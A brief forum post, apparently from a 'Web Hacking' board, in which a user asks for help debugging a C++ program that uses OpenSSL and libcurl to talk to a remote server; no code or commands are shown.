Web Hacking

Hello everyone,

I’m currently working on a project in C++ where I’ve written a program that uses OpenSSL and libcurl to perform secure communication operations with a remote server. However, I’m having trouble getting it to run properly.

I wrote the code myself and used a C++ compiler to turn it into an executable. However, when I try to run the program, it doesn’t seem to work as expected. I’m not getting any specific error messages, but the program doesn’t seem to be performing the tasks I designed it for.

I was wondering if someone could take a look at my code and provide some advice on what might not be working correctly. I can share my source code if needed, and I would be grateful for any help or guidance you can offer.

Thank you very much for your assistance !
